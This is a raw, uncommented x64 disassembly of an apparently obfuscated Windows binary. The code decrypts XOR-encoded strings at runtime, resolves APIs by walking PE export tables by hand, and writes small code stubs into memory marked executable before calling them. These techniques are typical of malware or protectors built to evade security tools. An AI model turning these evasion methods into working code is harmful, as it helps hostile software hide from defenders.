movzx eax, word [0x140106998]
mov word [rdi + 8], ax
mov al, byte [0x14010699a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xe00], ebx
lea r9, [rbp + 0xe00]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], r13d
lea r9, [rbp + 0xe70]
mov r8d, 3
lea rdx, [rbp + 0xbf0]
mov rcx, qword [rsp + 0x60]
call rdi
mov r15d, eax
lea r9, [rbp + 0xe00]
mov r8d, dword [rbp + 0xe00]
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, r14
call fcn.1400d04d0
mov edx, listen
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140106994], ebx
jmp 0x140032657
cmp al, 1
jne 0x1400328e4
mov rdx, rcx
lea rcx, [rbp + 0x1040]
call fcn.14003d82c
xor edx, edx
lea rcx, [rbp + 0x1040]
call fcn.14003ddb8
lea rcx, [rbp + 0x1040]
call fcn.14003dd48
lea rcx, [rbp + 0x1040]
call fcn.140006cc8
inc r14d
add rsi, 0x18
movsxd rax, r14d
cmp rax, r12
jl 0x140032681
mov r8, r13
xor edx, edx
mov rcx, rdi
call fcn.1400d04d0
mov rcx, rdi
call fcn.1400b47c4
mov qword [0x14010ae80], rbx
test r15d, r15d
jns 0x14003291e
mov qword [rbp + 0x28], rbx
jmp 0x140032932
mov rcx, qword [rbp + 0xbf0]
mov qword [rbp + 0x28], rcx
test rcx, rcx
jne 0x140032caf
mov rax, qword gs:[0x15]
mov esi, 0xa8e3e350
cmp rax, rsi
jne 0x140032a6b
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, rsi
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x14003295b
mov r12d, 0xdb4576f5
xor rdi, r12
mov rcx, rdi
imul rcx, r10
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r12
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd48], rdi
mov rax, r8
mov r13d, 0xdeadbeef
or rax, r13
xor rax, rcx
mov qword [rbp + 0xd50], rax
xor rcx, rsi
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd58], rcx
mov edi, ebx
movabs r14, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, rsi
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd58]
and rdx, rax
mov rcx, qword [rbp + 0xd50]
and rcx, rdx
mov rax, qword [rbp + 0xd48]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140032a60
inc edi
cmp edi, 7
jl 0x1400329fb
jmp 0x140032a71
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
mov r12d, 0xdb4576f5
movdqa xmm0, xmmword [0x1400f5b60]
movdqu xmmword [rbp + 0x610], xmm0
mov byte [rbp + 0x620], listen
mov byte [rbp + 0x621], 0x98
mov byte [rbp + 0x622], 0xdf
mov byte [rbp + 0x623], Ordinal_50
mov byte [rbp + 0x624], 0x79
xor eax, eax
mov byte [rbp + 0x625], al
mov r8, rbx
lea r9d, [rax + 0x15]
movabs r10, 0x1fd76467be
movabs r11, 0x3faec8cf7c
movabs r15, 0x8080808080808081
movabs r14, 0x184295a46
movabs r13, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x610], dil
inc r8
add r10, r14
add r9, 0x15
cmp r10, r11
jb 0x140032ae5
mov byte [rbp + 0x625], bl
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x610]
call fcn.140025168
mov rax, qword gs:[0x15]
cmp rax, rsi
movabs r14, 0x2aaaaaaaaaaaaaab
jne 0x140032caf
mov r10d, 0x51a92e05
mov rdi, rbx
mov r8d, ebx
mov r9, rsi
mov r13d, 0xdeedfeff
mov rdx, r12
mov ecx, r8d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r14
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r13
xor rcx, rax
add rdi, rcx
inc r8d
inc r9
cmp r8d, 8
jl 0x140032b8b
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd48], rax
add rcx, rsi
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r13d, 0xdeadbeef
or rax, r13
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd50], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd58], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd58]
xor rdx, rax
mov rcx, qword [rbp + 0xd50]
xor rcx, rdx
mov rax, qword [rbp + 0xd48]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400330d5
inc edi
cmp edi, 5
jl 0x140032c48
mov rax, qword [rbp + 0xbe8]
mov qword [rsp + 0x60], rax
cmp qword [0x14010ae80], rbx
jne 0x140032ce5
mov ecx, 0x26b0
call fcn.1400b48e8
test rax, rax
je 0x140032ce5
mov qword [rax], rbx
mov qword [rax + 8], 0x19c
mov qword [0x14010ae80], rax
mov qword [rbp + 0xc00], rbx
mov qword [rbp + 0xe80], 0x1000
movdqa xmm0, xmmword [0x1400f5ce0]
movdqu xmmword [rbp + 0x670], xmm0
mov byte [rbp + 0x680], 0x50
mov byte [rbp + 0x681], 0x61
mov byte [rbp + 0x682], Ordinal_217
mov byte [rbp + 0x683], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x684], Ordinal_211
mov byte [rbp + 0x685], Ordinal_41
mov byte [rbp + 0x686], WSAStartup
xor eax, eax
mov byte [rbp + 0x687], al
mov rdi, rbx
movabs r15, 0xca8495ff84371
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x670]
lea rcx, [rbp + 0x670]
call fcn.14003d128
xor al, dil
mov byte [rbp + rdi + 0x670], al
inc rdi
cmp rdi, 0x17
jb 0x140032d4d
mov byte [rbp + 0x687], bl
mov rsi, qword [0x14010ae80]
test rsi, rsi
je 0x140032e6a
mov r15, qword [rsi]
mov rcx, qword [rsi + 8]
cmp r15, rcx
jl 0x140032e1c
lea rax, [rcx + rcx*2]
lea r13, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400b48e8
mov r14, rax
test rax, rax
je 0x140032e60
mov qword [rax], r15
mov qword [rax + 8], rdi
mov rdi, qword [0x14010ae80]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r13
call fcn.1400cfe30
lea r8, [r13 + 0x10]
xor edx, edx
mov rcx, rsi
call fcn.1400d04d0
mov rcx, rdi
call fcn.1400b47c4
mov qword [0x14010ae80], r14
mov rsi, r14
lea rax, [rbp + 0x670]
mov qword [rbp + 0xe08], rax
mov qword [rbp + 0xe10], Ordinal_32
mov byte [rbp + 0xe18], bl
lea rax, [r15 + r15*2]
movups xmm0, xmmword [rbp + 0xe08]
movups xmmword [rsi + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xe18]
movsd qword [rsi + rax*8 + 0x20], xmm1
lea rax, [r15 + 1]
mov qword [rsi], rax
movabs r15, 0xca8495ff84371
mov byte [rbp + 0x198], 0x7a
mov byte [rbp + 0x199], 0x5c
mov byte [rbp + 0x19a], 1
mov byte [rbp + 0x19b], 0x84
mov byte [rbp + 0x19c], 0x90
mov byte [rbp + 0x19d], Ordinal_32
mov byte [rbp + 0x19e], 0xe5
mov byte [rbp + 0x19f], 0xe3
mov byte [rbp + 0x1a0], 0x88
xor eax, eax
mov byte [rbp + 0x1a1], al
mov rdi, rbx
mov qword [rsp + 0x20], r15
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x198]
lea rcx, [rbp + 0x198]
call fcn.14003cfc8
xor al, dil
mov byte [rbp + rdi + 0x198], al
inc rdi
cmp rdi, 9
jb 0x140032eb4
mov byte [rbp + 0x1a1], bl
mov rsi, qword [0x14010ae80]
test rsi, rsi
je 0x140032fc8
mov r15, qword [rsi]
mov rcx, qword [rsi + 8]
cmp r15, rcx
jl 0x140032f83
lea rax, [rcx + rcx*2]
lea r13, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400b48e8
mov r14, rax
test rax, rax
je 0x140032fc8
mov qword [rax], r15
mov qword [rax + 8], rdi
mov rdi, qword [0x14010ae80]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r13
call fcn.1400cfe30
lea r8, [r13 + 0x10]
xor edx, edx
mov rcx, rsi
call fcn.1400d04d0
mov rcx, rdi
call fcn.1400b47c4
mov qword [0x14010ae80], r14
mov rsi, r14
lea rax, [rbp + 0x198]
mov qword [rbp + 0xe08], rax
mov eax, 0xa
mov qword [rbp + 0xe10], rax
mov byte [rbp + 0xe18], bl
lea rax, [r15 + r15*2]
movups xmm0, xmmword [rbp + 0xe08]
movups xmmword [rsi + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xe18]
movsd qword [rsi + rax*8 + 0x20], xmm1
lea rax, [r15 + 1]
mov qword [rsi], rax
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x198]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14003305d
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003305d
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14003305d
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14003305d
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov esi, dword [rax + 0x24]
add rsi, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, rbx
mov r14d, dword [rax + 0x18]
test r14, r14
je 0x14003305d
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x670]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14003304c
inc rax
test edi, edi
jne 0x140033037
test r8d, r8d
je 0x1400330e0
inc rdx
cmp rdx, r14
jb 0x140033026
mov r15d, ebx
mov rdi, qword [0x14010ae80]
mov r12, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r13, [rcx*8 + 0x10]
mov r14d, ebx
test r12, r12
jle 0x1400332b2
lea rsi, [rdi + 0x10]
movups xmm1, xmmword [rsi]
movsd xmm0, qword [rsi + 0x10]
movsd qword [rbp + 0xe18], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14003329f
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14003329f
mov al, byte [rbp + 0xe18]
test al, al
jne 0x140033266
xor edx, edx
call fcn.1400d04d0
jmp 0x14003329f
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
movzx eax, word [rsi + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14003305d
mov r15d, dword [rdx + 4]
test r15d, r15d
js 0x14003305d
mov r13d, 4
mov r9d, r13d
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1400a593c
or dword [rbp + 0xc094], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xad10]
call fcn.14003deec
lea rcx, [rbp + 0xad10]
call fcn.14003d1dc
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
mov rdi, rbx
lea rcx, [rbp + 0xad10]
call fcn.14003d1dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x46520], rax
inc rdi
cmp rdi, 0x200
jl 0x14003317a
mov r8, r12
lea rdx, [rbp + 0x46520]
mov rcx, rsi
call fcn.1400cfe30
mov dword [0x140106994], r15d
lea rdi, [r14 + rsi]
movsd xmm0, qword [0x140106990]
movsd qword [rdi], xmm0
movzx eax, word [0x140106998]
mov word [rdi + 8], ax
mov al, byte [0x14010699a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xd88], ebx
lea r9, [rbp + 0xd88]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xe80]
xor r8d, r8d
lea rdx, [rbp + 0xc00]
mov rcx, qword [rsp + 0x60]
call rdi
mov r15d, eax
lea r9, [rbp + 0xd88]
mov r8d, dword [rbp + 0xd88]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400d04d0
mov edx, listen
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140106994], ebx
jmp 0x140033060
cmp al, 1
jne 0x14003329f
mov rdx, rcx
lea rcx, [rbp + 0xf00]
call fcn.14003d82c
xor edx, edx
lea rcx, [rbp + 0xf00]
call fcn.14003ddb8
lea rcx, [rbp + 0xf00]
call fcn.14003dd48
lea rcx, [rbp + 0xf00]
call fcn.140006cc8
inc r14d
add rsi, 0x18
movsxd rax, r14d
cmp rax, r12
jl 0x14003308a
mov r8, r13
xor edx, edx
mov rcx, rdi
call fcn.1400d04d0
mov rcx, rdi
call fcn.1400b47c4
mov qword [0x14010ae80], rbx
test r15d, r15d
jns 0x1400332dc
mov r13, rbx
mov qword [rbp + 0x30], rbx
jmp 0x1400332f0
mov r13, qword [rbp + 0xc00]
mov qword [rbp + 0x30], r13
test r13, r13
jne 0x140033600
mov rax, qword gs:[0x15]
mov esi, 0xa8e3e350
cmp rax, rsi
jne 0x14003342c
mov rdi, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, rsi
add rdi, rdx
mov r8, qword gs:[0x30]
movzx eax, dil
xor r8, rax
inc rcx
sub r9, 1
jne 0x140033319
mov r15d, 0xdb4576f5
xor r8, r15
mov rcx, r8
imul rcx, r10
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r15
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd48], rax
mov rax, rdi
mov r12d, 0xdeadbeef
or rax, r12
xor rax, rcx
mov qword [rbp + 0xd50], rax
xor rcx, rsi
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd58], rcx
mov edi, ebx
movabs r14, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, rsi
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
and rdx, rax
mov rcx, qword [rbp + 0xd58]
and rcx, rdx
mov rax, qword [rbp + 0xd50]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140033421
inc edi
cmp edi, 7
jl 0x1400333bc
jmp 0x14003343c
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3
movabs r14, 0x2aaaaaaaaaaaaaab
mov r15d, 0xdb4576f5
movdqa xmm0, xmmword [0x1400f5d50]
movdqu xmmword [rbp + 0x8d0], xmm0
movdqa xmm1, xmmword [0x1400f5a70]
movdqu xmmword [rbp + 0x8e0], xmm1
mov rdi, rbx
movabs r12, 0x184295a45
mov qword [rsp + 0x20], r12
mov r9d, Ordinal_32
mov r8, rdi
mov dl, byte [rbp + rdi + 0x8d0]
lea rcx, [rbp + 0x8d0]
call fcn.14003cbc8
xor al, dil
mov byte [rbp + rdi + 0x8d0], al
inc rdi
cmp rdi, 0x1f
jb 0x140033469
mov byte [rbp + 0x8ef], bl
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x8d0]
call fcn.140025168
mov rax, qword gs:[0x15]
cmp rax, rsi
jne 0x140033600
mov r10d, 0x51a92e05
mov rdi, rbx
mov r8d, ebx
mov r9, rsi
mov r12d, 0xdeedfeff
mov rdx, r15
mov ecx, r8d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r14
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r12
xor rcx, rax
add rdi, rcx
inc r8d
inc r9
cmp r8d, 8
jl 0x1400334dc
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd48], rax
add rcx, rsi
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r12d, 0xdeadbeef
or rax, r12
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd50], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd58], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd58]
xor rdx, rax
mov rcx, qword [rbp + 0xd50]
xor rcx, rdx
mov rax, qword [rbp + 0xd48]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140033ced
inc edi
cmp edi, 5
jl 0x140033599
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1060], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1068], rax
lea rax, [r13 + 0x28]
mov qword [rbp + 0x1070], rax
mov rsi, qword [rbp + 0x28]
mov qword [rbp + 0x1078], rsi
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1080], rax
mov r15d, dword [rsp + 0x68]
mov qword [rbp + 0x38], r15
movabs r12, 0xa9ff9483ccaeddf
mov qword [rbp + 0x40], r12
mov qword [rbp + 0xe78], rbx
mov r8d, ebx
mov rdi, rbx
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0x38]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0x40]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe78], cl
inc rdi
cmp r8d, 8
jb 0x14003366a
mov esi, ebx
mov rax, rbx
lea r10, [rbp + 0x1060]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xe78]
mov r11b, dil
xor r11b, 0x28
mov r14d, edi
mov r8d, ebx
lea r9, [rbp + 0xe78]
movzx ecx, byte [r9]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xe78]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r8d
inc r9
cmp r8d, 8
jb 0x1400336e0
movzx ecx, r11b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov r14d, 0x80808081
mov eax, r14d
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r10]
xor cl, dil
mov byte [r10], cl
inc esi
inc r10
movsxd rax, esi
cmp rax, 0x28
jb 0x1400336c1
mov qword [rbp + 0x48], r15
movabs r12, 0xa9ff9483ccaeddf
mov qword [rbp + 0x18], r12
mov qword [rbp + 0xe68], rbx
mov r8d, ebx
mov rdi, rbx
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0x48]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0x18]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe68], cl
inc rdi
cmp r8d, 8
jb 0x14003377f
mov r11d, ebx
mov rax, rbx
lea r9, [rbp + 0x28410]
movabs r13, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xe68]
mov r10b, dil
xor r10b, 5
mov esi, edi
mov ecx, ebx
lea r8, [rbp + 0xe68]
movzx edi, dil
movzx eax, byte [r8]
add rdi, rax
xor rdi, qword [rbp + 0xe68]
mov rax, r13
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r8
cmp ecx, 8
jb 0x1400337f4
movzx ecx, dil
add ecx, esi
movzx eax, r10b
add ecx, eax
mov eax, r14d
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r9]
xor cl, dil
mov byte [r9], cl
inc r11d
inc r9
movsxd rax, r11d
cmp rax, 0x104
jb 0x1400337d7
mov r12, qword [rbp + 0xbe8]
movdqa xmm0, xmmword [0x1400f5dd0]
movdqu xmmword [rbp + 0x400], xmm0
mov byte [rbp + 0x410], Ordinal_79
mov byte [rbp + 0x411], Ordinal_60
mov byte [rbp + 0x412], 0xf1
mov byte [rbp + 0x413], WSAGetLastError
xor eax, eax
mov byte [rbp + 0x414], al
mov rdi, rbx
mov r13, qword [rbp + 0x30]
movabs rsi, 0x184295a45
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_sendto
mov r8, rdi
mov dl, byte [rbp + rdi + 0x400]
lea rcx, [rbp + 0x400]
call fcn.14003cadc
xor al, dil
mov byte [rbp + rdi + 0x400], al
inc rdi
cmp rdi, 0x14
jb 0x1400338b7
mov byte [rbp + 0x414], bl
mov byte [rbp + 0x1b8], 0xeb
mov byte [rbp + 0x1b9], Ordinal_41
mov byte [rbp + 0x1ba], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x1bb], 0x78
mov byte [rbp + 0x1bc], 0x43
mov byte [rbp + 0x1bd], Ordinal_79
mov byte [rbp + 0x1be], 0xf8
mov byte [rbp + 0x1bf], Ordinal_217
mov byte [rbp + 0x1c0], gethostname
xor eax, eax
mov byte [rbp + 0x1c1], al
mov rdi, rbx
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1b8]
lea rcx, [rbp + 0x1b8]
call fcn.14003c90c
xor al, dil
mov byte [rbp + rdi + 0x1b8], al
inc rdi
cmp rdi, 9
jb 0x14003393b
mov byte [rbp + 0x1c1], bl
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
mov r15d, 0x5a4d
test rax, rax
je 0x140033a0c
cmp word [rax], r15w
jne 0x140033a0c
mov r12d, ebx
mov r13, qword [rbp + 0xbe8]
movdqa xmm0, xmmword [0x1400f5dd0]
movdqu xmmword [rbp + 0x418], xmm0
mov byte [rbp + 0x428], Ordinal_79
mov byte [rbp + 0x429], Ordinal_60
mov byte [rbp + 0x42a], 0xf1
mov byte [rbp + 0x42b], WSAGetLastError
xor eax, eax
mov byte [rbp + 0x42c], al
mov rdi, rbx
movabs rsi, 0x184295a45
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_sendto
mov r8, rdi
mov dl, byte [rbp + rdi + 0x418]
lea rcx, [rbp + 0x418]
call fcn.14003cadc
xor al, dil
mov byte [rbp + rdi + 0x418], al
inc rdi
cmp rdi, 0x14
jb 0x140033a57
mov rcx, qword [rsp + 0x60]
call fcn.1400ac908
int3